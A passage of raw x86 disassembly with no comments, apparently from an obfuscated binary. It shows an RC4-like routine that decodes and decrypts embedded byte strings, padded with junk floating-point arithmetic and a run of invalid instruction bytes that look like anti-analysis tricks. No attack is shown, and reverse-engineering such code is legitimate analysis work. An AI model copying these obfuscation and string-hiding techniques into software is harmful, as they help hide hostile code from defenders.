sub eax, dword [ebp - 0x3f30]
mov dword [ebp - 0x3fbc], eax
mov ecx, dword [ebp - 0x3fb4]
sub ecx, dword [ebp - 0x3fb0]
mov dword [ebp - 0x3f5c], ecx
mov edx, dword [ebp - 0x3fbc]
shl edx, 4
mov dword [ebp - 0x40a4], edx
mov eax, dword [ebp - 0x3f5c]
mov dword [ebp - 0x40a8], eax
mov ecx, dword [ebp - 0x40a4]
or ecx, dword [ebp - 0x40a8]
mov dword [ebp - 0x40ac], ecx
mov dl, byte [ebp - 0x40ac]
mov byte [ebp - 0x332d], dl
movzx eax, byte [ebp - 0x3309]
mov cl, byte [ebp + eax - 0x65d8]
mov byte [ebp - 0x332a], cl
movzx edx, byte [ebp - 0x32ba]
movzx eax, byte [ebp + edx - 0x65d8]
movzx ecx, byte [ebp - 0x32d3]
add ecx, eax
mov byte [ebp - 0x32d3], cl
mov dl, byte [ebp - 0x32ba]
add dl, 1
mov byte [ebp - 0x32ba], dl
movzx eax, byte [ebp - 0x32d3]
movzx ecx, byte [ebp - 0x3309]
mov dl, byte [ebp + eax - 0x65d8]
mov byte [ebp + ecx - 0x65d8], dl
movzx eax, byte [ebp - 0x32d2]
movzx ecx, byte [ebp - 0x32d3]
mov dl, byte [ebp + eax - 0x65d8]
mov byte [ebp + ecx - 0x65d8], dl
movzx eax, byte [ebp - 0x32ba]
movzx ecx, byte [ebp - 0x32d2]
mov dl, byte [ebp + eax - 0x65d8]
mov byte [ebp + ecx - 0x65d8], dl
movzx eax, byte [ebp - 0x32ba]
mov cl, byte [ebp - 0x332a]
mov byte [ebp + eax - 0x65d8], cl
movzx edx, byte [ebp - 0x332a]
movzx eax, byte [ebp + edx - 0x65d8]
movzx ecx, byte [ebp - 0x3329]
add ecx, eax
mov byte [ebp - 0x3329], cl
movzx edx, byte [ebp - 0x332d]
movzx eax, byte [ebp - 0x32d3]
movzx ecx, byte [ebp + eax - 0x65d8]
movzx eax, byte [ebp - 0x32ba]
movzx eax, byte [ebp + eax - 0x65d8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x65d8]
xor edx, ecx
movzx eax, byte [ebp - 0x32d2]
movzx ecx, byte [ebp + eax - 0x65d8]
movzx eax, byte [ebp - 0x3309]
movzx eax, byte [ebp + eax - 0x65d8]
add ecx, eax
movzx eax, byte [ebp - 0x3329]
movzx eax, byte [ebp + eax - 0x65d8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x65d8]
movzx eax, byte [ebp + ecx - 0x65d8]
xor edx, eax
mov byte [ebp - 0x32d2], dl
mov cl, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], cl
mov dl, byte [ebp - 0x32d2]
mov byte [ebp - 0x33c0], dl
cmp dword [ebp - 0x3464], 0
jle 0x4342f2
movsx ax, byte [ebp - 0x33c0]
mov ecx, dword [ebp - 0x3464]
mov word [ebp + ecx*2 - 0x3fa], ax
mov edx, dword [ebp - 0x39c0]
add edx, 0x14
mov dword [ebp - 0x39c0], edx
mov eax, dword [ebp - 0x3464]
add eax, 1
mov dword [ebp - 0x4b58], eax
jmp 0x434321
mov ecx, dword [ebp - 0x4b58]
add ecx, 1
mov dword [ebp - 0x4b58], ecx
mov edx, dword [ebp - 0x4b58]
cmp edx, dword [ebp - 0x39c0]
jge 0x434582
mov eax, dword [ebp - 0x3464]
add eax, 1
mov dword [ebp - 0x3464], eax
mov ecx, dword [ebp - 0x3464]
shl ecx, 1
mov dword [ebp - 0x4098], ecx
mov edx, dword [ebp - 0x409c]
add edx, dword [ebp - 0x4098]
movzx eax, byte [edx]
mov dword [ebp - 0x3f2c], eax
mov dword [ebp - 0x3f30], 0x4d
mov ecx, dword [ebp - 0x3464]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x40a0], edx
mov eax, dword [ebp - 0x409c]
add eax, dword [ebp - 0x40a0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3fb4], ecx
mov dword [ebp - 0x3fb0], 0xef
mov edx, dword [ebp - 0x3f2c]
sub edx, dword [ebp - 0x3f30]
mov dword [ebp - 0x3fbc], edx
mov eax, dword [ebp - 0x3fb4]
sub eax, dword [ebp - 0x3fb0]
mov dword [ebp - 0x3f5c], eax
mov ecx, dword [ebp - 0x3fbc]
shl ecx, 4
mov dword [ebp - 0x40a4], ecx
mov edx, dword [ebp - 0x3f5c]
mov dword [ebp - 0x40a8], edx
mov eax, dword [ebp - 0x40a4]
or eax, dword [ebp - 0x40a8]
mov dword [ebp - 0x40ac], eax
mov cl, byte [ebp - 0x40ac]
mov byte [ebp - 0x332d], cl
movzx edx, byte [ebp - 0x3309]
mov al, byte [ebp + edx - 0x65d8]
mov byte [ebp - 0x332a], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + ecx - 0x65d8]
movzx eax, byte [ebp - 0x32d3]
add eax, edx
mov byte [ebp - 0x32d3], al
mov cl, byte [ebp - 0x32ba]
add cl, 1
mov byte [ebp - 0x32ba], cl
movzx edx, byte [ebp - 0x32d3]
movzx eax, byte [ebp - 0x3309]
mov cl, byte [ebp + edx - 0x65d8]
mov byte [ebp + eax - 0x65d8], cl
movzx edx, byte [ebp - 0x32d2]
movzx eax, byte [ebp - 0x32d3]
mov cl, byte [ebp + edx - 0x65d8]
mov byte [ebp + eax - 0x65d8], cl
movzx edx, byte [ebp - 0x32ba]
movzx eax, byte [ebp - 0x32d2]
mov cl, byte [ebp + edx - 0x65d8]
mov byte [ebp + eax - 0x65d8], cl
movzx edx, byte [ebp - 0x32ba]
mov al, byte [ebp - 0x332a]
mov byte [ebp + edx - 0x65d8], al
movzx ecx, byte [ebp - 0x332a]
movzx edx, byte [ebp + ecx - 0x65d8]
movzx eax, byte [ebp - 0x3329]
add eax, edx
mov byte [ebp - 0x3329], al
movzx ecx, byte [ebp - 0x332d]
movzx edx, byte [ebp - 0x32d3]
movzx eax, byte [ebp + edx - 0x65d8]
movzx edx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + edx - 0x65d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x65d8]
xor ecx, eax
movzx edx, byte [ebp - 0x32d2]
movzx eax, byte [ebp + edx - 0x65d8]
movzx edx, byte [ebp - 0x3309]
movzx edx, byte [ebp + edx - 0x65d8]
add eax, edx
movzx edx, byte [ebp - 0x3329]
movzx edx, byte [ebp + edx - 0x65d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x65d8]
movzx edx, byte [ebp + eax - 0x65d8]
xor ecx, edx
mov byte [ebp - 0x32d2], cl
mov al, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], al
mov cl, byte [ebp - 0x32d2]
mov byte [ebp - 0x33c0], cl
cmp dword [ebp - 0x3464], 0
jle 0x43457d
movsx dx, byte [ebp - 0x33c0]
mov eax, dword [ebp - 0x3464]
mov word [ebp + eax*2 - 0x3fa], dx
jmp 0x434312
mov ecx, dword [ebp - 0x39c0]
add ecx, 1
mov dword [ebp - 0x39c0], ecx
mov edx, dword [ebp - 0x39c0]
add edx, 0x15
mov dword [ebp - 0x39c0], edx
mov eax, dword [ebp - 0x3464]
add eax, 1
mov dword [ebp - 0x4b5c], eax
jmp 0x4345c0
mov ecx, dword [ebp - 0x4b5c]
add ecx, 1
mov dword [ebp - 0x4b5c], ecx
mov edx, dword [ebp - 0x4b5c]
cmp edx, dword [ebp - 0x39c0]
jge 0x435098
mov eax, dword [ebp - 0x3464]
add eax, 1
mov dword [ebp - 0x3464], eax
movsd xmm0, qword [0xa71f80]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [0xa71ec0]
movsd qword [ebp - 0x3e94], xmm0
movsd xmm0, qword [0xa71c70]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [0xa71998]
movsd qword [ebp - 0x3e8c], xmm0
movsd xmm0, qword [ebp - 0x3dd8]
mulsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [ebp - 0x3e94]
mulsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x3e94], xmm0
movsd xmm0, qword [ebp - 0x3e94]
addsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x3e94], xmm0
movsd xmm0, qword [ebp - 0x37a8]
mulsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
comisd xmm0, xmmword [ebp - 0x3e8c]
jbe 0x434706
movsd xmm0, qword [ebp - 0x3dd8]
addsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
addsd xmm0, qword [ebp - 0x3dd8]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
addsd xmm0, qword [ebp - 0x3dd8]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
subsd xmm0, qword [ebp - 0x3dd8]
movsd qword [ebp - 0x37a8], xmm0
mov ecx, dword [ebp - 0x3464]
shl ecx, 1
mov dword [ebp - 0x4098], ecx
jmp 0x4349d2
movsd xmm0, qword [ebp - 0x3e94]
subsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x3e94], xmm0
movsd xmm0, qword [ebp - 0x3e8c]
addsd xmm0, qword [ebp - 0x3e94]
movsd qword [ebp - 0x3e8c], xmm0
movsd xmm0, qword [ebp - 0x3e94]
addsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x3e94], xmm0
movsd xmm0, qword [ebp - 0x3dd8]
addsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
addsd xmm0, qword [ebp - 0x3e94]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
addsd xmm0, qword [ebp - 0x3e94]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x3e94]
subsd xmm0, qword [ebp - 0x3dd8]
movsd qword [ebp - 0x3e94], xmm0
movsd xmm0, qword [ebp - 0x3dd8]
mulsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [ebp - 0x3e94]
comisd xmm0, xmmword [ebp - 0x3e8c]
jbe 0x434972
movsd xmm0, qword [ebp - 0x3e8c]
divsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3e8c], xmm0
movsd xmm0, qword [ebp - 0x3dd8]
subsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
mulsd xmm0, qword [ebp - 0x3e94]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
addsd xmm0, qword [ebp - 0x3e94]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x3dd8]
mulsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [ebp - 0x3e94]
divsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x3e94], xmm0
movsd xmm0, qword [ebp - 0x37a8]
mulsd xmm0, qword [ebp - 0x3dd8]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
subsd xmm0, qword [ebp - 0x3dd8]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x3e94]
comisd xmm0, xmmword [ebp - 0x3e8c]
jbe 0x434910
movsd xmm0, qword [ebp - 0x3e8c]
divsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3e8c], xmm0
movsd xmm0, qword [ebp - 0x3e8c]
subsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3e8c], xmm0
movsd xmm0, qword [ebp - 0x37a8]
subsd xmm0, qword [ebp - 0x3e94]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
mulsd xmm0, qword [ebp - 0x3e94]
movsd qword [ebp - 0x37a8], xmm0
jmp 0x434970
movsd xmm0, qword [ebp - 0x3e8c]
divsd xmm0, qword [ebp - 0x3e94]
movsd qword [ebp - 0x3e8c], xmm0
movsd xmm0, qword [ebp - 0x3e94]
subsd xmm0, qword [ebp - 0x3e8c]
movsd qword [ebp - 0x3e94], xmm0
movsd xmm0, qword [ebp - 0x3dd8]
subsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [ebp - 0x3e8c]
addsd xmm0, qword [ebp - 0x3e94]
movsd qword [ebp - 0x3e8c], xmm0
jmp 0x4349d2
movsd xmm0, qword [ebp - 0x3dd8]
mulsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [ebp - 0x3dd8]
divsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3dd8], xmm0
movsd xmm0, qword [ebp - 0x37a8]
divsd xmm0, qword [ebp - 0x3dd8]
movsd qword [ebp - 0x37a8], xmm0
movsd xmm0, qword [ebp - 0x3dd8]
divsd xmm0, qword [ebp - 0x37a8]
movsd qword [ebp - 0x3dd8], xmm0
mov edx, dword [ebp - 0x409c]
add edx, dword [ebp - 0x4098]
movzx eax, byte [edx]
mov dword [ebp - 0x3f2c], eax
mov dword [ebp - 0x3f30], 0x4d
mov ecx, dword [ebp - 0x3464]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x40a0], edx
mov eax, dword [ebp - 0x409c]
add eax, dword [ebp - 0x40a0]
movzx ecx, byte [eax]
mov dword [ebp - 0x3fb4], ecx
mov dword [ebp - 0x3fb0], 0xef
mov edx, dword [ebp - 0x3f2c]
sub edx, dword [ebp - 0x3f30]
mov dword [ebp - 0x3fbc], edx
mov eax, dword [ebp - 0x3fb4]
sub eax, dword [ebp - 0x3fb0]
mov dword [ebp - 0x3f5c], eax
mov ecx, dword [ebp - 0x3fbc]
shl ecx, 4
mov dword [ebp - 0x40a4], ecx
mov edx, dword [ebp - 0x3f5c]
mov dword [ebp - 0x40a8], edx
mov eax, dword [ebp - 0x40a4]
or eax, dword [ebp - 0x40a8]
mov dword [ebp - 0x40ac], eax
mov cl, byte [ebp - 0x40ac]
mov byte [ebp - 0x332d], cl
movzx edx, byte [ebp - 0x3309]
mov al, byte [ebp + edx - 0x65d8]
mov byte [ebp - 0x332a], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + ecx - 0x65d8]
movzx eax, byte [ebp - 0x32d3]
add eax, edx
mov byte [ebp - 0x32d3], al
mov cl, byte [ebp - 0x32ba]
add cl, 1
mov byte [ebp - 0x32ba], cl
movzx edx, byte [ebp - 0x32d3]
movzx eax, byte [ebp - 0x3309]
mov cl, byte [ebp + edx - 0x65d8]
mov byte [ebp + eax - 0x65d8], cl
movss xmm0, dword [0xa723ac]
movss dword [ebp - 0x36e8], xmm0
movss xmm0, dword [0xa72360]
movss dword [ebp - 0x3844], xmm0
movss xmm0, dword [0xa722bc]
movss dword [ebp - 0x3bb4], xmm0
movss xmm0, dword [0xa72210]
movss dword [ebp - 0x3d0c], xmm0
movss xmm0, dword [0xa72158]
movss dword [ebp - 0x3840], xmm0
movss xmm0, dword [0xa720ac]
movss dword [ebp - 0x362c], xmm0
movss xmm0, dword [0xa71fe0]
movss dword [ebp - 0x3598], xmm0
movss xmm0, dword [ebp - 0x3d0c]
addss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x3d0c], xmm0
movss xmm0, dword [ebp - 0x3840]
subss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x3840], xmm0
movss xmm0, dword [ebp - 0x36e8]
subss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x36e8], xmm0
movss xmm0, dword [ebp - 0x3844]
mulss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x3844], xmm0
movss xmm0, dword [ebp - 0x36e8]
subss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x36e8], xmm0
movss xmm0, dword [ebp - 0x3bb4]
addss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x3bb4], xmm0
movss xmm0, dword [ebp - 0x3bb4]
mulss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x3bb4], xmm0
movss xmm0, dword [ebp - 0x3844]
comiss xmm0, dword [ebp - 0x3598]
jbe 0x434cd0
movss xmm0, dword [ebp - 0x36e8]
mulss xmm0, dword [ebp - 0x3bb4]
movss dword [ebp - 0x36e8], xmm0
movss xmm0, dword [ebp - 0x3840]
mulss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x3840], xmm0
movss xmm0, dword [ebp - 0x3840]
subss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x3840], xmm0
movss xmm0, dword [ebp - 0x3d0c]
mulss xmm0, dword [ebp - 0x362c]
movss dword [ebp - 0x3d0c], xmm0
movss xmm0, dword [ebp - 0x3844]
mulss xmm0, dword [ebp - 0x3d0c]
movss dword [ebp - 0x3844], xmm0
movss xmm0, dword [ebp - 0x3844]
addss xmm0, dword [ebp - 0x3d0c]
movss dword [ebp - 0x3844], xmm0
movss xmm0, dword [ebp - 0x3bb4]
mulss xmm0, dword [ebp - 0x3840]
movss dword [ebp - 0x3bb4], xmm0
movzx edx, byte [ebp - 0x32d2]
movzx eax, byte [ebp - 0x32d3]
mov cl, byte [ebp + edx - 0x65d8]
mov byte [ebp + eax - 0x65d8], cl
jmp 0x434f8a
movss xmm0, dword [ebp - 0x3598]
divss xmm0, dword [ebp - 0x36e8]
movss dword [ebp - 0x3598], xmm0
movss xmm0, dword [ebp - 0x3844]
subss xmm0, dword [ebp - 0x3bb4]
movss dword [ebp - 0x3844], xmm0
movss xmm0, dword [ebp - 0x3840]
divss xmm0, dword [ebp - 0x362c]
movss dword [ebp - 0x3840], xmm0
movss xmm0, dword [ebp - 0x362c]
mulss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x362c], xmm0
movss xmm0, dword [ebp - 0x362c]
addss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x362c], xmm0
movss xmm0, dword [ebp - 0x362c]
subss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x362c], xmm0
movss xmm0, dword [ebp - 0x362c]
divss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x362c], xmm0
movss xmm0, dword [ebp - 0x3844]
addss xmm0, dword [ebp - 0x3bb4]
movss dword [ebp - 0x3844], xmm0
movss xmm0, dword [ebp - 0x362c]
mulss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x362c], xmm0
movss xmm0, dword [ebp - 0x36e8]
addss xmm0, dword [ebp - 0x3844]
movss dword [ebp - 0x36e8], xmm0
movss xmm0, dword [ebp - 0x3598]
subss xmm0, dword [ebp - 0x36e8]
movss dword [ebp - 0x3598], xmm0
movss xmm0, dword [ebp - 0x36e8]
addss xmm0, dword [ebp - 0x3844]
movss dword [ebp - 0x36e8], xmm0
movss xmm0, dword [ebp - 0x3d0c]
mulss xmm0, dword [ebp - 0x3840]
movss dword [ebp - 0x3d0c], xmm0
movss xmm0, dword [ebp - 0x3840]
subss xmm0, dword [ebp - 0x362c]
movss dword [ebp - 0x3840], xmm0
movss xmm0, dword [ebp - 0x362c]
comiss xmm0, dword [ebp - 0x3d0c]
jbe 0x434ee2
movss xmm0, dword [ebp - 0x3844]
divss xmm0, dword [ebp - 0x3bb4]
movss dword [ebp - 0x3844], xmm0
movss xmm0, dword [ebp - 0x36e8]
subss xmm0, dword [ebp - 0x3844]
movss dword [ebp - 0x36e8], xmm0
movss xmm0, dword [ebp - 0x3840]
subss xmm0, dword [ebp - 0x362c]
movss dword [ebp - 0x3840], xmm0
movss xmm0, dword [ebp - 0x3844]
addss xmm0, dword [ebp - 0x3bb4]
movss dword [ebp - 0x3844], xmm0
movss xmm0, dword [ebp - 0x3bb4]
subss xmm0, dword [ebp - 0x3d0c]
movss dword [ebp - 0x3bb4], xmm0
movss xmm0, dword [ebp - 0x3598]
addss xmm0, dword [ebp - 0x36e8]
movss dword [ebp - 0x3598], xmm0
movss xmm0, dword [ebp - 0x362c]
mulss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x362c], xmm0
jmp 0x434f8a
movss xmm0, dword [ebp - 0x3d0c]
mulss xmm0, dword [ebp - 0x362c]
movss dword [ebp - 0x3d0c], xmm0
movss xmm0, dword [ebp - 0x3d0c]
subss xmm0, dword [ebp - 0x362c]
movss dword [ebp - 0x3d0c], xmm0
movss xmm0, dword [ebp - 0x36e8]
mulss xmm0, dword [ebp - 0x3bb4]
movss dword [ebp - 0x36e8], xmm0
movss xmm0, dword [ebp - 0x3840]
addss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x3840], xmm0
movss xmm0, dword [ebp - 0x36e8]
subss xmm0, dword [ebp - 0x3bb4]
movss dword [ebp - 0x36e8], xmm0
movss xmm0, dword [ebp - 0x362c]
divss xmm0, dword [ebp - 0x36e8]
movss dword [ebp - 0x362c], xmm0
movss xmm0, dword [ebp - 0x3840]
subss xmm0, dword [ebp - 0x3598]
movss dword [ebp - 0x3840], xmm0
movzx edx, byte [ebp - 0x32ba]
movzx eax, byte [ebp - 0x32d2]
mov cl, byte [ebp + edx - 0x65d8]
mov byte [ebp + eax - 0x65d8], cl
movzx edx, byte [ebp - 0x32ba]
mov al, byte [ebp - 0x332a]
mov byte [ebp + edx - 0x65d8], al
movzx ecx, byte [ebp - 0x332a]
movzx edx, byte [ebp + ecx - 0x65d8]
movzx eax, byte [ebp - 0x3329]
add eax, edx
mov byte [ebp - 0x3329], al
movzx ecx, byte [ebp - 0x332d]
movzx edx, byte [ebp - 0x32d3]
movzx eax, byte [ebp + edx - 0x65d8]
movzx edx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + edx - 0x65d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x65d8]
xor ecx, eax
movzx edx, byte [ebp - 0x32d2]
movzx eax, byte [ebp + edx - 0x65d8]
movzx edx, byte [ebp - 0x3309]
movzx edx, byte [ebp + edx - 0x65d8]
add eax, edx
movzx edx, byte [ebp - 0x3329]
movzx edx, byte [ebp + edx - 0x65d8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x65d8]
movzx edx, byte [ebp + eax - 0x65d8]
xor ecx, edx
mov byte [ebp - 0x32d2], cl
mov al, byte [ebp - 0x332d]
mov byte [ebp - 0x3309], al
mov cl, byte [ebp - 0x32d2]
mov byte [ebp - 0x33c0], cl
cmp dword [ebp - 0x3464], 0
jle 0x435093
movsx dx, byte [ebp - 0x33c0]
mov eax, dword [ebp - 0x3464]
mov word [ebp + eax*2 - 0x3fa], dx
jmp 0x4345b1
mov ecx, dword [ebp - 0x39c0]
add ecx, 1
mov dword [ebp - 0x39c0], ecx
mov edx, 2
imul eax, edx, 0x2b
mov dword [ebp - 0x5120], eax
cmp dword [ebp - 0x5120], 0x58
jae 0x4350c0
jmp 0x4350c5
call fcn.009f5b17
xor ecx, ecx
mov edx, dword [ebp - 0x5120]
mov word [ebp + edx - 0x3f8], cx
jmp 0x43512b
mov dword [ebp - 0x494c], 0
jmp 0x4350f2
mov eax, dword [ebp - 0x494c]
add eax, 1
mov dword [ebp - 0x494c], eax
cmp dword [ebp - 0x494c], 0x2c
jge 0x43512b
mov ecx, dword [ebp - 0x494c]
shl ecx, 1
mov dword [ebp - 0x511c], ecx
cmp dword [ebp - 0x511c], 0x58
jae 0x435114
jmp 0x435119
call fcn.009f5b17
xor edx, edx
mov eax, dword [ebp - 0x511c]
mov word [ebp + eax - 0x3f8], dx
jmp 0x4350e3
push 0
push 1
mov ecx, dword [ebp - 0x4590]
push ecx
lea edx, [ebp - 0x200]
push edx
push 0
lea eax, [ebp - 0x3f8]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x317c], 0
mov dword [ebp - 0x3198], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x473c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4704], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4704], xmm0
jmp 0x4351a2
movsd xmm0, qword [ebp - 0x4704]
addsd xmm0, qword [0xa71358]
movsd qword [ebp - 0x4704], xmm0
movsd xmm0, qword [0xa71880]
comisd xmm0, xmmword [ebp - 0x4704]
jbe 0x435253
movsd xmm0, qword [0xa716b0]
mulsd xmm0, qword [ebp - 0x4704]
mulsd xmm0, qword [ebp - 0x4704]
movsd xmm1, qword [ebp - 0x4704]
mulsd xmm1, qword [ebp - 0x4704]
subsd xmm0, xmm1
movsd xmm1, qword [0xa71408]
mulsd xmm1, qword [ebp - 0x4704]
mulsd xmm1, qword [ebp - 0x4704]
addsd xmm1, qword [0xa714d8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x473c]
movsd qword [ebp - 0x473c], xmm0
movsd xmm0, qword [ebp - 0x473c]
comisd xmm0, xmmword [0xa715d8]
jbe 0x43524e
movsd xmm0, qword [0xa712a8]
mulsd xmm0, qword [ebp - 0x4704]
movsd xmm1, qword [ebp - 0x473c]
subsd xmm1, xmm0
movsd qword [ebp - 0x473c], xmm1
jmp 0x43518a
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x473c]
jbe 0x4352ca
outsb dx, byte [esi]
xor eax, 0x29724128
jo 0x4352d5
inc esp
imul edi, dword [edx + 0x41], 0x78
inc edx
xor byte [edi + edx*2 - 0x2d], bh
rcr esi, 1
retf
mov dword [ebp - 0x317c], 0x435273
mov dword [ebp - 0x3198], 0x435260
mov edx, dword [ebp - 0x317c]
mov dword [ebp - 0x36f0], edx
mov eax, dword [ebp - 0x3198]
mov dword [ebp - 0x6370], eax
mov byte [ebp - 0x3fee], 0x17
mov dword [ebp - 0x383c], 0
jmp 0x435318
test dword [eax - 0x32], ebp
invalid
mov ecx, dword [ebp - 0x383c]
add ecx, 1
mov dword [ebp - 0x383c], ecx
cmp dword [ebp - 0x383c], 0x100
jae 0x435339
mov edx, dword [ebp - 0x383c]
mov al, byte [ebp - 0x383c]
mov byte [ebp + edx - 0x50cc], al
jmp 0x435309
mov dword [ebp - 0x44dc], 0
mov byte [ebp - 0x335b], 0
mov dword [ebp - 0x383c], 0xff
jmp 0x435365
mov ecx, dword [ebp - 0x383c]
sub ecx, 1
mov dword [ebp - 0x383c], ecx
cmp dword [ebp - 0x383c], 0
jbe 0x4355d5
mov dword [ebp - 0x4b60], 0
mov dword [ebp - 0x4950], 1
mov edx, dword [ebp - 0x4950]
cmp edx, dword [ebp - 0x383c]
jae 0x4353a6
mov eax, dword [ebp - 0x4950]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4950], ecx
jmp 0x435386
mov edx, dword [ebp - 0x44dc]
mov dword [ebp - 0x5118], edx
cmp dword [ebp - 0x5118], 3
ja case.default.0x4353c5
mov eax, dword [ebp - 0x5118]
jmp dword [eax*4 + 0x46afd8]
movzx ecx, byte [ebp - 0x335b]
movzx ebx, byte [ebp + ecx - 0x50cc]
movsd xmm0, qword [ebp - 0x473c]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335b], bl
jmp 0x4354ae
movzx edx, byte [ebp - 0x335b]
movzx ebx, byte [ebp + edx - 0x50cc]
movsd xmm0, qword [ebp - 0x473c]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335b], bl
jmp 0x4354ae
movzx eax, byte [ebp - 0x335b]
movzx ebx, byte [ebp + eax - 0x50cc]
movsd xmm0, qword [ebp - 0x473c]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335b], bl
jmp 0x4354ae
movzx ecx, byte [ebp - 0x335b]
movzx ebx, byte [ebp + ecx - 0x50cc]
movsd xmm0, qword [ebp - 0x473c]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335b], bl
jmp 0x4354ae
movzx edx, byte [ebp - 0x335b]
movzx eax, byte [ebp + edx - 0x50cc]
mov ecx, dword [ebp - 0x6370]
add ecx, dword [ebp - 0x44dc]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x335b], al
mov eax, dword [ebp - 0x44dc]
add eax, 1
mov dword [ebp - 0x44dc], eax
movzx ecx, byte [ebp - 0x3fee]
cmp dword [ebp - 0x44dc], ecx
jb 0x4354ec
mov dword [ebp - 0x44dc], 0
movzx edx, byte [ebp - 0x3fee]
movzx eax, byte [ebp - 0x335b]
add eax, edx
mov byte [ebp - 0x335b], al
movzx ecx, byte [ebp - 0x335b]
and ecx, dword [ebp - 0x4950]
mov dword [ebp - 0x425c], ecx
mov edx, dword [ebp - 0x4b60]
add edx, 1
mov dword [ebp - 0x4b60], edx
cmp dword [ebp - 0x4b60], 0xb
jbe 0x43552b
mov eax, dword [ebp - 0x425c]
xor edx, edx
div dword [ebp - 0x383c]
mov dword [ebp - 0x425c], edx
mov eax, dword [ebp - 0x425c]
cmp eax, dword [ebp - 0x383c]
ja 0x4353a6
mov ecx, dword [ebp - 0x383c]
cmp ecx, dword [ebp - 0x425c]
je 0x4355d0
mov edx, dword [ebp - 0x425c]
movzx eax, byte [ebp + edx - 0x50cc]
mov ecx, dword [ebp - 0x383c]
movzx edx, byte [ebp + ecx - 0x50cc]
xor edx, eax
mov eax, dword [ebp - 0x383c]
mov byte [ebp + eax - 0x50cc], dl
mov ecx, dword [ebp - 0x383c]
